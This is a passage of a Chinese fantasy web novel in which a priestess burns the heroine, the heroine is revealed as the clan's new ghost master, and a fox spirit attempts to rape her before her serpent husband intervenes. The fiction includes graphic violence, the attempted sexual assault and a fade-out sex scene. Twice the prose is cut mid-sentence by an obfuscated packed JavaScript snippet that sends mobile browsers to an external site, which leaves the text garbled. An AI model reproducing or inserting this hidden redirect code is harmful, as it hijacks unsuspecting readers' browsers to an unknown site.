“我的儿啊,你死得好冤啊,你放心,妈很快就让杀害你的凶手下地狱给你赔罪!大祭司,你今天要是不给我们一个交代,我就死在你面前!” 有人以死相逼,正好给了宋淑贞动手的理由,宋淑贞用权杖击退李大叔两步,理直气壮道:“看见了么,杀她,是民心所向!” 李大叔捂住被宋淑贞击伤的胸口,抬眼直直盯着宋淑贞,语气一如既往地平静:“你明知道,她是冤枉的。” “滚开!”宋淑贞又要对我动手,这次毫无意外还是被李大叔挡了下来,李大叔捏住宋淑贞的腕沉下声:“若我偏不滚呢?” 宋淑贞眉眼冷厉:“你拦不住我!” “那如果是我让你放人呢!”阿乞与银杏也匆匆赶来,停步在李大叔身后给李大叔撑腰。 宋淑贞甩开李大叔,冷哼一声,随即迅速扬起权杖,一掌巫力击退李大叔,“**都没长齐的小屁孩,本祭司岂会忌惮你!” 说罢,直接利用权杖的巫力令凶猛燃烧的巫火扑向我的身体—— 滚烫的巫火顿时如烧开的滚水一般哗哗啦啦兜头洒下来,淋遍我全身。 火光落在我的衣裙上,瞬间便在衣料上灼出密密麻麻的小洞,滚烫烙进肌肤,一时全身无数处剧痛同时传遍四肢八骸,似有很多双长着锋利指甲的魔爪在撕扯我的皮肉…… 我没撑住五秒,就被剧烈的灼痛给逼得腿上一软,单膝跪了下来。 好疼,全身都疼,手臂皮肤被烤得逐渐焦化,手背也被密密麻麻的星火烫出水泡。 只好在,即便在这种恶劣环境下,我指间戴着的蛇瞳戒指也依旧晶莹剔透,完好无损。 我默默将手上戒指护进怀里……我在赌,赌一个转机。 不到万不得已的时候,我绝不能打扰青漓闭关! “镜镜姐!”阿乞疾声命令:“大祭司,你赶紧把火给我灭了!” 李大叔见状亦是急了,“宋淑贞,你还真能下得去这个手!” “镜镜,镜镜你再忍忍,我这就找法器救你!”银杏手忙脚乱疯狂翻自己的乾坤袋。 宋淑贞看见我被火光包围烫得站不起身,却满意兴奋地昂头大笑起来: “什么大长老,不过是个来历不明的毛头小子罢了,别以为有人暗中相助,帮你化了本祭司一招,本祭司就真能被你蒙骗过去!” 村长赵叔这会子才气喘吁吁赶过来,瞧宋淑贞对我动起真格,老泪纵横地忙抓住宋淑贞胳膊苦心劝道: “淑贞!别再犯错了!我家那个畜生都说了,那晚他在娘娘庙看见的女人就是圣女!鸾镜也是你的亲女儿啊,你不能这么逼她替圣女顶罪……” 只奈何老村长话还没说完就被宋淑贞一把推倒在地,厉声打断:“够了!今天我必须要为月阴村除了这个祸害!” 抬头毅然面向不断壮大的人群,宋淑贞冰冷启唇: “各位族人,孽女宋鸾镜犯下的重罪还不止诸位知道的这些!当初黄仙送聘,狐仙娶亲,这个孽障为了抗婚,竟敢私闯九黎山禁地,放出了禁地**的青蛇大妖!” 青蛇大妖……我忍着身上要被烈火撕裂的剧痛喘着粗气惶然昂头,她怎么会知道青漓的存在?! 猛地又回想起头一夜,灰狐仙在娘娘庙和宋花枝提过青漓…… 一定是宋花枝告诉宋淑贞的。 本就对我恨到牙痒的村民这会子个个恨不得把我剥皮抽筋生吞了…… “青蛇大妖?完了,那可是个害人的坏东西!” “当初是神娘娘现神迹将青蛇大妖**在娘娘庙下的禁地里的,现在青蛇大妖竟被宋鸾镜给放出来了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16068407|178489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,它肯定会吃光我们的!” “该死的宋鸾镜只会给我们月阴村带来灾难,哎呦喂,我们月阴村究竟上辈子造了什么孽才遇见这种扫把星索命鬼……” “圣女是神娘娘转世,她一定有办法对付青蛇大妖的,是吗大祭司?” 众人将希望的目光投落在宋淑贞身上,宋淑贞挑眉一本正经的扯谎:“当然。” 村民们当即松了口气。 但下一秒,宋淑贞话锋一转继续陷害我:“不过,圣女还需要知道青蛇大妖的藏身之处,青蛇大妖被宋鸾镜藏起来了,必须要让她交出青蛇大妖,圣女才能将青蛇大妖重新**!” 呵……这个说法,我都懒得笑话她。 凭她们,也能镇得住青漓? 但偏偏那些愚昧的村民就吃这一套,宋淑贞随便忽悠几句,他们就没脑子的跟着一致声讨:“交出青蛇大妖!” “宋鸾镜,交出那害人的青蛇大妖!” 宋淑贞高高在上的俯视着我,轻描淡写威胁:“宋鸾镜,现在告诉我,青蛇大妖的藏身之处,本祭司或还能留你一命……” 信步走近我,宋淑贞隔着凶猛的烈火,弯腰,故意用仅我二人能听见的声音要挟我: “灰狐大仙都说了,它身上气息微弱,怕是受了重伤,躲在哪里疗养了。当初它被**在娘娘庙下,元神受损严重,就算你不告诉本祭司它在哪,本祭司迟早也能找到它。 只要本祭司赶在它身上仙气完全恢复之前降服它,将它炼成蛊丹,它的灵力,说不定能助花枝一臂之力,花枝不用再去消化那些劣质的香火,也能即刻拔地成仙。 宋鸾镜,本祭司早就说过,你姐姐是天上花,你是地下泥,你姐姐是要成仙的,而你只配下十八层地狱! 识趣点,乖乖将青蛇大妖的藏身之处告诉本祭司,本祭司还能留你多活几日!” “灰狐大仙怎么知道蛇王大人受了重伤?蛇王大人伤的很严重么,连灰狐大仙都能察觉到?”我咬牙强忍着身上的剧痛,满头是汗的示弱询问她。 宋淑贞勾唇,讥讽道:“他现在,定是受了危及性命的重伤。他身上气息散得太快,连本祭司都能感应到,何况,是灰狐大仙。 受了这么重的伤,他的法力肯定也暂时被封在体中,现在正是降服它的好时机。真是天助我也,花枝,正好缺一味成仙的药引子。 孽障,你以为你找它做靠山,本祭司就不敢动你了?本祭司说过,就算你不老实交代它藏在哪里,本祭司也有的是办法找到它。 如今,本祭司愿意给你个戴罪立功的机会,你别不识好歹。” 她叽里呱啦说了一大堆,我却只意识到,青漓的处境现在很危险。 他重伤在身,法力也使不出来。 我必须要保护好他,不然让他落进这群心狠手辣,丑恶肮脏的人手中,肯定凶多吉少! 我抬起浸血的眸子,柔弱松口:“母亲,你过来些,我告诉你它藏身在哪。” “镜、”不远处的阿乞听见我的话,慌促要阻拦,但却被李大叔扳着肩膀一把捞了回去。 阿乞诧异昂头,李大叔面色凝重地冲他摇了摇脑袋。 宋淑贞思忖片刻,还是选择靠近我…… 我艰难昂起汗意淋漓的脖颈,干涩的唇瓣贴近她的耳廓, “宋淑贞……那条死狐狸昨晚就是这么栽在我手里的,所以,你**吧!” 第53章 她竟是下一任鬼师 谁也别想从我口中知道青漓的藏身之处! 我猛地转动腕上镯子,一条红丝线骤然从镯内迸射出来,直逼宋淑贞的心脏…… 宋淑贞瞳孔一震,早有防备地一个侧身躲避要害,但,虽侥幸错开心脏,可红线还是穿透了她心脏右上方半寸距离的百神穴。 “大祭司!” 有村民跑上来扶住重伤连连后退的宋淑贞,而宋淑贞用巫术着急斩断胸口红线后,更是破防的大发雷霆:“我杀了你!” 一道火浪袭来,瞬间就烧黑了我的全身皮肤。 我只觉得,仅那一秒,全身毛孔的都裂出了口子,绽出了血红的新肉…… 好疼…… 我咬牙强憋着不哭出来,可眼泪还是不争气地一滴连着一滴坠下脸颊。 泪水滑过之处,犹如伤口撒盐,灼疼得更加剧烈。 紧接着,我的身体就被烈火重重包裹,火舌舔上我的衣摆,粘上我的身体,欲将我一寸寸,吞噬干净…… “宋淑贞!你忘记昨夜镇山龙君怎么警告你的了么!执迷不悟,你迟早会受天谴的!” “少拿镇山龙君的神谕来压本祭司,本祭司身为阴苗族祭司,有权处置任何一个阴苗族子民,你不服也给本祭司憋着!” “鸾镜!淑贞啊,你太过分了!我赵澜以村长的身份,自己的人格担保,鸾镜没有与野仙苟合,害死族人的也不是鸾镜!” “不管宋鸾镜有没有和野仙苟合,如今这些麻烦都是宋鸾镜招惹来的,如果她肯老实嫁给灰狐大仙当老婆,肯乖乖献祭长生泉,哪来这堆烂事。” “就是,宋鸾镜放出青蛇大妖,罪无可恕,烧死她,烧死她!” “阿乞,你救救镜镜啊,救救她,她要被烧**……” “在救了在救了,别晃我找不到符了……” 无数道声音在我耳边阵阵回荡,像是空谷里的聒噪回音,听得我头都要炸了。 “宋鸾镜,本祭司再问你一遍,青蛇大妖藏在哪!” 我痛苦至极地用尽全力骂回去:“就不告诉你,急死你个老巫婆!” “你!” 宋淑贞气急败坏的捏诀施法,准备对我一击毙命。 然而危急关头,东面大山上空,竟突然降下道道晴空霹雳…… 头顶原本还未完全暗下的天,一时风卷云涌,乌云成团密密麻麻堆积在天幕上,大有暴雨将至的迹象。 凶悍雷光一道道劈落在东山头,每一击都轰得山顶巨树猛冒火花,发出响彻天地的巨响。 有人失措惊呼:“是、龙神庙……龙神动怒,降下神罚了!” “那个方向,就是镇山龙君的神庙,这雷劈得不同寻常,云也聚得怪,龙王爷发怒了……” “龙王爷饶命啊,龙王爷恕罪!” 村民们怯懦地纷纷跪下来疯狂磕头大拜。 宋淑贞惊愕地愣了愣,但没过多久又接着不信邪的掐诀施法…… 我痛苦地跪在地上,被火烧得狼狈落泪。 一阵飓风骤然迎面扫过,我被吹得睁不开眼。 视线再次复明,竟神奇地发现,周围的烈火被熄灭了…… 不等我反应过来是怎么回事,我胸口处藏着的那本古书就被一道无形的力量给卷飞了出去。 我下意识伸手要去抓,谁知下一秒我自己的身体也被一股清风托至了半空…… 古书在我头顶飞了两圈,尔后哗哗啦啦自行翻开书页,翻到其中某一页时,陡然金光乍现,将我的名字一笔一笔,书写其中。 我悬身在半空根本不敢乱动,烧伤的皮肤也被古书内页绽出的金光迅速修复,手臂与脖颈的肌肤,连同身上被火烧烂的衣物,都顷刻变回原样…… 我愣愣昂头,瞧着书内缓缓写完的内容,心下一紧。 古书上赫然写着:九黎族第一百九十二代鬼师——宋鸾镜! 而旁边紧挨着我名字的那列字是:九黎族第一百九十一代鬼师——宋瑶芝。 原来外婆给我的这本古书,是历任鬼师名录! 我的名字完整书写于古书上的那一刻,身上藏蓝色绣银鸾镶凤尾蝶铃铛的本族长裙亦是一道金光,徐徐由上自下,变化成了一袭交领广袖罩黑纱的飘逸古代红裙…… 暗红裙琚飘曳,上有金线绣出的凤凰及神莲。 黑纱轻薄,质地柔软。 广袖及地,裙摆盖过脚踝。 脚上的鞋子也变成一双墨色绣彩莲镶珍珠的绣花鞋。 暗金珠光腰封上,缠着两圈红绳编制的流苏系带,系带还围腰坠了一圈铜钱及凤凰铃腰链装饰。 乌黑的长发散落肩后,连同头上银饰都化成了金簪与铜钱步摇。 一片黑纱拂面而过,温柔遮住我半张容颜…… 这个场景,这身打扮,月阴村阴苗族这群人都再熟悉不过! “鬼师、宋鸾镜……竟然被选为鬼师了!”人群中有年迈男子惊呼高喊。 记得我刚记事那两年,外婆也曾以相似的形象示人。 那会子,外婆的面容甚至比现在的宋淑贞还年轻三分。 外婆是从何时开始迅速苍老的,我已记不清了…… 只晓得,我幼时,只见过一次外婆以鬼师形象出现。 打那以后,外婆在族内重大场合或者出门解决麻烦时,穿的都是那身沉重威严的祭司服。 繁琐的衣袍就似捆在外婆身上的重重枷锁,就这样牵制了外婆一生。 我年纪小,见鬼师形象次数不多,但族里这些上了年纪的中老年人却见过无数次,能一眼认出来! 上一刻还一个劲煽风点火嚷嚷着要把我祭天的男男女女们,这一刻却齐齐瞠目结舌被吓得大气都不敢出一声。 老村长步履蹒跚地拨开人群冲过来,昂头看着悬在半空的古书,突然如释重负地哈哈大笑起来,喜极而泣,红着眼眶扑通朝我跪下: “天佑我阴苗族,天佑鸾镜啊!老祭司,你在天有灵啊!鬼师降世,我族太平啊!” 宋淑贞不敢相信地梗着脖子愣愣看向这一幕,老脸苍白地摇头否认: “怎么可能,鬼师怎会这么快就现世了,上上任鬼师殒命后,上任鬼师再出现,中间可是隔了一百多年!她宋鸾镜,怎么可能是新的鬼师!” 李大叔猛地攥住宋淑贞手腕,面无表情地冷漠道:“我早就说过,你执迷不悟是会后悔的!” 无情地将宋淑贞甩退几步,李大叔平静替我撑腰:35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16076622|178489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>“凡被阴间选为鬼师者,必是在阳界品行好,性情正直,有纯洁之心的大善之人,且自身灵气干净纯粹,方能秉公执法,为一方生灵主持公道。 宋鸾镜如果真像大祭司所说,和妖物苟合,还害**她的无辜同族,那她又怎么可能会被选为新任鬼师!你们一个个的,都没长脑子么!” 话音落,才有老人家颔首赞同道: “不错,要想成为鬼师,身子必须纯净! 上苍不会选一个身上沾染妖息的女人做鬼师,老祭司生前曾说过,就连她,也是在伴侣亡故后才被选为鬼师的…… 宋鸾镜如今还没有嫁人,她现在就成了新任鬼师,只能证明……她的身子根本没有被任何人糟蹋过!” 八十岁的沈家老太太拄着拐杖一脸严肃道:“对!宋鸾镜此刻被选为新任鬼师,足以证明她身子纯洁没有被妖物玷污,看来,真是我们冤枉鸾镜了!” 林家媳妇依旧不甘心地质疑: “可是昨天晚上咱们村的女人们都看见宋鸾镜光着身子被灰狐大仙抱出神殿,身上,还青一块红一块的,脚踝上还挂着湿漉漉的铃铛……” 张家婶子纠结道:“对啊,我们都亲眼所见。” 李大叔蹙眉凝声质问:“你们确定,灰狐仙怀里抱着的女人就是真的宋鸾镜?” 林家媳妇哽住了,低头底气不足地犹豫回答: “人家灰狐大仙亲口说了就是宋鸾镜……不过,昨晚宋鸾镜一直埋头窝在灰狐大仙怀里,我们确实……没看到宋鸾镜的正脸。” 一语惊醒梦中人,其她女人们立马急着作证: “是啊,我们昨晚没见到灰狐大仙怀里女人的正脸……我们是听灰狐大仙叫怀里女人小阿鸾,后来又说宋鸾镜伺候的他不满意,才认定灰狐大仙怀里的女人是宋鸾镜的。” “那女人的身形,的确很像鸾镜……” “该不会,是灰狐大仙骗我们的吧?” “可他为什么要骗我们,故意诬陷宋鸾镜呢?” “哎呦,你们可别忘记了,历任鬼师都有守护阴苗族,降妖镇魔的能力,说不准是灰狐大仙早就发现了鸾镜是未来鬼师,所以想借咱们手毁了宋鸾镜……” “有可能!啧,幸好,幸好许三筒他们没犯浑!这要是破了鸾镜的纯洁之身,鸾镜怕是一时半会无法接任鬼师一职。” “村长说得对,天佑我阴苗族啊,现在大长老回来了,鬼师也回来了,我们阴苗族就不用再害怕山里那些野仙骚扰了!” 呵,他们还真是会给自己的愚蠢找理由。 那条死狐狸才没有那么大的本事提前发现我可能是新一任的鬼师呢,他污蔑我,单纯是为了给宋花枝出气报仇。 什么叫幸好许三筒他们没犯浑,事实明明是幸好我命硬! 悬在我头顶的古书自行合拢,坠落进我的怀里。 萦绕在我周身的灵力也护着我的身体缓缓从天而落…… 双脚落地,我抬头,对上宋淑贞那双恨不得将我剥皮抽筋的阴狠眉眼。 “你的身子明明已经被青蛇大妖给玷污了,怎么可能还是纯洁之体,怎么可能成为鬼师!”宋淑贞破防的狠声审问我。 第54章 你死了本王也会折磨你的尸体 阿乞仗义地往我跟前一挡,反呛回去: “大祭司,我看你是得癔症了!无论你怎么泼镜镜姐脏水,镜镜姐现在都已经不证自清了,事实就摆在你眼前,你接受不了,也得接受!” “哎呀,大祭司你现在是不是特别难受痛苦,还膈应愤怒?” 银杏双臂环胸言辞犀利道: “毕竟镜镜成了鬼师,以后就不能替你的宝贝闺女背黑锅了。 前两天你闺女在祠堂怎么说的来着,说镜镜妄想做圣女,你们还骂镜镜卑贱不配。 可人家镜镜从来都不稀罕当什么圣女,人家现在是鬼师,和你大祭司平起平坐。 回去让你的宝贝闺女放心,圣女这身份,谁也不会抢她的,她喜欢做,就做一辈子!” “你!”宋淑贞被银杏的难听话气得老脸发青。 李大叔也没有放过她,转头淡漠吓唬: “你不遵镇山龙神旨意,身为大祭司却滥用职权迫害无辜,如今你惹怒镇山龙神,等着他降罪惩罚你吧!” 宋淑贞的脸色,更难看了,握着权杖踉跄后退半步。 那群见风使舵的族人们见状唯恐我找他们秋后算账,赶忙纷纷跪地冲我说好话:“恭喜鬼师娘娘降世。” “鸾镜、啊不,鬼师娘娘,您一出生我就瞧出您气质不凡,绝非普通人,之前是咱们猪油蒙了心,还望鬼师娘娘勿怪。” “以后我们一定不再听信那些风言风语冒犯你了,鬼师娘娘,我们会向敬重大祭司那样敬重你!” “鬼师娘娘,我替我家男人向你道歉,你大人有大量就不要和我们计较了……” 我居高临下睥睨着跪坐在地的那群村民,无奈冷嗤一声。 片刻,终于有人想起了村长先前情急之下脱口而出的那句话了—— “等等,村长,你刚才说,你儿子讲了,那晚在娘娘庙看见的女人就是圣女?” “我也听见了,村长说,鬼师娘娘是给圣女顶罪的!” “究竟是怎么回事,大祭司,难道从头到尾都是圣女……” 众人下意识将目光投向面容惨白的宋淑贞。 宋淑贞紧咬牙关晓得事情瞒不住了,握着权杖盛怒撂下一句: “你们是在质疑圣女?你们别忘了,圣女是神娘娘转世!今天的事,谁若敢胡说八道传扬出去一句,本祭司要他好看!” 说罢,负气转身扬长而去。 留在原地的族人们面面相觑,个个心领神会,但却不敢挑破真相。 —— 一场闹剧结束后,银杏与阿乞本想跟我一起回家的,可李大叔抢先一步拦下了他们,有意给我留空间清静清静…… 我孤身回到家里,推开堂屋大门,神使鬼差走进了堂屋内室的神堂。 像从前的外婆一样,穿着这身鬼师衣袍,双腿一软,跪倒在蒲草编成的软垫上。 萦绕在脑中的无头杂绪终于在这一刻安宁了下来,慢慢有了头绪。 在我有了鬼师身份的那一刹,我才倏然明白,外婆生前拉着我的手叮嘱我要替她侍奉好这位大人的意思。 原来鬼师,不是阴间择选的,而是华桑大帝选的! 华桑大帝也不仅是九黎山的镇山龙神,还是阴间的大神…… 外婆在世时,我不愿学巫术,她便不强迫。 我本以为是外婆过于溺爱我才放纵不管我…… 直到,我的名字完整出现在鬼师名录上,无数道陌生的咒法密语穿进我脑壳时,我才骤然醒悟。 不是外婆放纵我偷懒才不教我,是我身为鬼师继承人,根本不需要自学! 可,我明明已经和青漓……有了夫妻行为,我身上沾染了青漓的妖气,为什么我还能被选为新任鬼师? 上次,在娘娘庙,我用认息蛊对付宋花枝的时候,那些认息蛊也没落在我身上…… 难道,青漓不是妖?! 再结合银杏之前说的话,我不禁怀疑起了青漓的真实身份。 难道他真的有另一重马甲? 不过,转念一想,青漓可是活了很久的大妖,三百年前靠神明出手才能镇住他,他的修为不知道要比山里那些野仙高上几百倍,连最凶猛的灰狐仙在他面前也只有挨抽的份。 就算有另一重马甲,也实属正常。 我们俩现在虽然有夫妻之名,但我和他只认识不到一个月,这半个月的时间于他的千载漫长妖生而言,或许连弹指一挥间都算不上。 我还不够了解他,与他在一起的时间也不够长,过去这几千年,他的身上肯定发生过很多事。 我现在连他合格的妻子都算不上,凭什么窥探猜测他的过往,凭什么要求他把自己的从前事无巨细地全部向我坦白交代。 换位思考一下,我也不可能把我前半生所有经历告诉一个虽然性情温和、待我真心,但和我只认识几天的男人。 一是不够信任,二是……相处的时日太短,还来不及说。 所以,我没有理由怀疑揣测青漓。 不管他是不是妖,只要他不吃我,他是何身份对我来说都毫无区别。 想通这些事后,我起身给神龛里的大人重新上了三炷香。 在我突然掌握那些阴阳鬼术的同时,我也知道了和这位镇山龙神建立联系的办法。 是扔圣杯。 与道家弟子寻求祖师爷帮助的办法一样,祖师爷与镇山龙神从始至终都是不露面的,只会用香火及圣杯传达神意。 这种法子是麻烦了些,我原以为,好歹会托个梦……哎,没办法,谁让龙神是神呢。 看来以后有困难还是找青漓方便些。 我花了一夜的时间将鬼师的阴阳鬼术勉强消化了六七分,剩下的高深秘术,还需要慢慢参透领悟。 不过,已经够用了。 至少我现在掌握的鬼术已经足够我自保了…… 次日,我早就料到那条死狐狸在得知他没算计到我以后会再来找我麻烦,所以我提前在院子里布了几道简单的机关。 死狐狸比我预料中的,来早了几个小时。 天还没暗下来,夕阳还是金灿灿的,我在房间里静心打坐,就听见窗外的竹子机关噼里啪啦一通响。 显然是谁进院子触发了那些暗器。 我清楚光靠那些简易的机关暗器是伤不到那条死狐狸的……但我还有后手。 我在最后一道机关里藏了一道鬼符。 鬼符驱鬼伤妖,我刚成为鬼师死狐狸肯定会对我放松警惕,算不到我上来就用鬼符招待他。 只要他被鬼符伤到,就算不褪一层皮,也要疼上半个月。 果然,没几秒,死狐狸砰地一声撞门摔进了屋,被泛着金光的鬼符伤到了肩膀。 半条胳膊都是血。 我趁机立马起身施法想用阴阳鬼书对付他,但,法印结了一半,我体内的鸳鸯缠就又发作了…… 且这次发作连缓冲的机会都没有,两秒内我就被强烈的酥麻燥热给逼得四肢发软,差点瘫倒在地。 头晕目眩地后退几步,我心慌意乱伸手扶墙。 可人却在下一瞬被一道同样滚热的身躯给强行按在了墙壁上…… 男人口中吞吐的浊息烫得我心乱如麻,煎熬得生不如死…… 酥麻感窜至指尖,连指甲都麻得恍若过电。 好想…… 不,不能想! 双手被男人擒腕压在耳畔,长相妖异的狐眼男人低嗤讥讽: “你好得很啊!一夜未见,都会用鬼符了!敢伤本王?真以为本王收拾不了你?不想让别人碰你身子,你想给那条蛇守身如玉?本王偏不如你愿!” 他说着,轻佻的言语灌进我耳中,像勾魂的魔音一般,疯狂催着我体内的鸳鸯缠发作。 我满头热汗的咬舌想反抗,可这回,无论我如何折磨自己,都感受不到一丁点疼痛了…… 反而体内的酥软感更强烈。 难受,喘不上气,想寻找解脱…… 恍惚间,我甚至将他错看成了青漓…… “青漓……” 我软声嘤咛,下意识想伸手去抚他的脸。 可谁知下一瞬,眼前温润清隽的青漓就变成了面目狰狞的灰狐仙。 灰狐仙咬牙恶狠狠地勒紧我双腕,目中浸血地威胁: “还想着那条死蛇?好啊!没想到都这个时候了,你竟还盼着他来解救你!本王告诉你,他来不了了!本王今夜就占了你的身子,断了你的念想! 宋鸾镜,本王再警告你一次,这是你体内鸳鸯缠第三回发作了,本王不救你,你就得暴毙,本王救你,以后,你我恩爱的日子还多,除非你死,不然,你休想摆脱本王!” 我头昏脑涨的艰难恢复两分清醒,忽然看到他那张令人厌恶的脸,我拼尽全力的狠推他一把反抗道:“滚!我、宁愿死,也不被你羞辱!” “怎么,那条死蛇能睡你,本王不能?!” 他被我惹怒,骤然发疯,一把掐住我的脖子,瘦长指节不断用力,咬牙切齿地瞪大眼羞辱我: “别以为做了鬼师你就清高了,不过是个人尽可夫的贱人!你宁死不从本王,本王偏让你生不如死!” 他兽性大发地松开我脖子,下一秒就抱起我,将我往床上按压,边扯我身上衣物,边恼恨不甘道:“嫌本王不如那条蛇,本王好好证明给你看!” 我痛苦艰难紧揪衣领反抗,吊着一口气拼命冲他大吼: “你、的确不如他!我和他上床是自愿,他干干净净,温柔体贴,你就是个恶心的脏东西!你敢碰我,我先死给你看!” 灰狐狸被我恼得额角青筋突突乱跳,用劲拉开我的手暴怒喊道:“你死了,本王也会折磨你的尸体!” 第55章 帮她解了鸳鸯缠 “死狐狸,折磨你妈!” “你再骂一句,本王现在就拔了你的舌头!” “死狐狸,祝你早点变太监,你小心得病!死狐狸你断子绝孙不得好死!” “宋鸾镜!” “叫你妈呢!”我缓上一口气就发疯骂个够。 他脸色铁青喘息急促,抬手就要压我脖子:“本王掐死你!” “你就是个、沙比!”我汗如雨下的手快拔掉头上簪子,一簪刺穿他的掌心,阻止了他再来掐我脖子。 不行了,脑子越来越懵了……我撑不住了。 “青漓,救我!”我躺在床上使出吃奶的劲嚎出这四个字。 而青漓也没让我失望,我话音刚落,一条漂亮的幽青蛇尾就从我模糊视线里一扫而过,紧接着,压在我身上的死狐狸就被一股猛力甩飞撞在了墙上—— 狐狸扑通摔落在地,闷声沉哼,片刻,捂着心脏痛苦喷出一大口浊血。 “你、怎么可能!你不是受伤了么……” 我揪住衣领快速从床上爬起来,对,青漓是受伤了。 我本来是不想打扰青漓的……毕竟,宋淑贞说了,青漓受伤法力也会使不出来,这时候叫青漓,无异于拉他一起送死…… 万一青漓栽倒在死狐狸手里,那就是我害了青漓。 可我这回的鸳鸯缠发作得忒厉害了,我怕我不喊青漓出来,自己就真要失身给这条死狐狸,被死狐狸折磨一夜命丧黄泉了。 但,我也不是只会作死的蠢蛋,头一晚我就已经提前做好了应对突发情况的准备。 青漓再弱,也比我这个菜鸟厉害,那些法器符咒在他手里,用起来肯定比在我手中威力强大。 我步伐踉跄的扑向化成人形的青漓后背。 “阿鸾!” 青漓耳力极好地迅速转身,扶住差些一头撞他身上的我。 我不管三七二十一地从怀里掏出一堆鬼符与外婆留下的法器,把东西全塞他怀里。 还将我连夜做的平安符顺手塞进他的衣襟。 平安符中装得是华桑大帝案前的香灰,还混了一部分我腰间平安符内的娘娘庙香灰。 华桑大帝是掌管九黎山一带全部生灵的龙神大人,九黎山百妖也归华桑大帝统领,他案前的香灰有震慑妖魔的作用。 我把香灰填进给青漓做的平安符内,万一青漓打不过死狐狸,有香灰在也能保下青漓一命! “这些都给你,注意安全!”我把事先准备好的东西给完,气喘吁吁地指着死狐狸怒吼:“老公,干他!” 趴在地上的死狐狸顿时瞳孔放大,慌促爬起身警惕盯着我们,青漓则瞧着怀里的一堆鬼符愣了愣:“……” 两秒钟后,死狐狸率先不怕死地朝青漓发起攻击。 我人还在恍惚着,身子就被青漓一臂护在了身后。 再抬眸,青漓已拂袖用无数道鬼符将死狐狸困在了半空中—— 强大的气压震得死狐狸脸皮都变形了。 “看来上次还没涨记性,本尊的夫人也敢肖想,该死!” 青漓掌中灵力骤然往下一压,被符纸囚在半空的灰狐狸瞬间口鼻喷血,双目垂红泪…… “蛇尊,你杀不死我的!” 死狐狸死到临头,不知从哪掏出一颗银光熠熠的珠子,猛地往青漓这边一抛—— 灵珠轻易便破了青漓设下的鬼符法阵,且径直朝青漓心口打来…… “青漓!” 我想拉开青漓,但青漓却抢先一步往我身前一挡,紧紧护住我…… 结果毫无意外…… 灵珠法力强大地击破了青漓身前的护体屏障,重重撞进青漓的胸膛—— “你去死吧!”死狐狸目眦欲裂的嚣张诡笑。 “青漓!”我用尽全力嘶声大喊,心中刹时慌得厉害,又疼又怕。 灵珠撞到青漓胸口那瞬息,我满身冷汗地一把扯开青漓—— 好在,我的动作比灵珠打穿青漓神魂的速度快了一点点。 我伸手环住青漓的腰,也不晓得哪来的力气,竟能带着青漓旋身连转开好几圈…… 脚下重心还没稳住,就听见灵珠砰地一声巨响,将我家墙生生打穿一个洞。 来不及想别的,我看见青漓立马捏诀施法,也不拖后退地配合着运用阴阳鬼术掐诀在指尖凝出金光—— 与青漓配合默契的同时施法,两道法力同步击穿死狐狸的身躯,死狐狸哀嚎一声,下一刻就被迫化回了满身是伤的杂毛青尾灰狐原形…… 晓得自己这会子是打不过青漓了,于是灰狐没再负隅顽抗,转头就直奔门外脚底生烟跃了出去。 而他扔出去的那颗珠子也像是长了眼睛,紧随其后跟着死狐狸一起跑了。 直到一狐一珠没了影,拥我入怀的蛇王大人才背上一震,虚弱呕出一口黑血…… “青漓,你怎么……”我抬手按住他沾染暗红浊血的唇角,却在指腹染上他的血丝时,体内燥热骤然来势汹汹! 他还没察觉到我的不正常,揽着我的腰肢,疲惫低头抵着我的额,浅声低吟: “阿鸾,你不该这么犯险,他手上的那颗珠子,是神物,威力极强,连本尊都极难控制住它……” 我盯着他一张一翕的染血薄唇,默默吞了口口水。 猩红的血丝,似对我有着致命的诱惑…… 脑子里嗡嗡作响,双耳一阵嗡鸣……他说了什么,我全然听不见。 但他身上的清澈花香,却像无数双邪恶的大手,在疯狂拥抱我的身体,诱惑我靠近些,再近些…… “阿鸾?” 他拧眉沉声唤我。 而我撑到极致已经不想再忍了,倏然踮起脚尖一把环住他的脖子,喘着粗气,拼命依偎他,蹭着他,贪婪吮吸他身上的微热体温…… “帮我、解鸳鸯缠,求你。”我既焦躁又欢悦地伸手抚他俊美侧颜。 “阿……” 不等他将我的名字喊完整,我就抚着他的容颜,主动吻上了他染血的唇…… 贪心地用舌尖舐去他薄唇上的腥咸。 他一时气血上涌,喘息急促。 分明已被我拨弄得心神徜徉了,可还是设法将我从怀里推出来片刻,征求我的意见: “阿鸾,想好了?本尊帮你解鸳鸯缠,以后……你便离不开本尊了。” 我克制不住地一个劲往他怀里扒,啄了下他唇畔的血色,醉眼迷离:“本来就没打算离开……” 他听见这话,登时怀中滚烫。 我吻着他的薄唇,手无意识地去褪他衣物: “这是第三次了……给我……我不想死……我、和你是自愿的……” 脑子里一片混沌,根本不晓得自己嘴里在嘟囔些什么。 只晓得,他听完我的话,青眸瞬间染上暧昧的深红…… 随即,身子被他抱起,三步并两步地放在大床上。 身上的黑纱红裙被他层层剥离…… 滚烫的热浪包裹而上,携着令人安心的淡淡花香。 后来的一切,我都记得不大清楚了…… 半梦半醒间,隐约感觉自己似化成了一片轻盈的花瓣。 被一股清风无数次卷起,又落下。 好不容易缓慢坠地,又一阵飓风袭来,热浪将我裹向了云端。 周始反复了无数次。 手边的床单都被我掌心汗液濡湿了。 最后一次风浪卷起,我彻底失了意识。 不知过了多久,风平花落…… 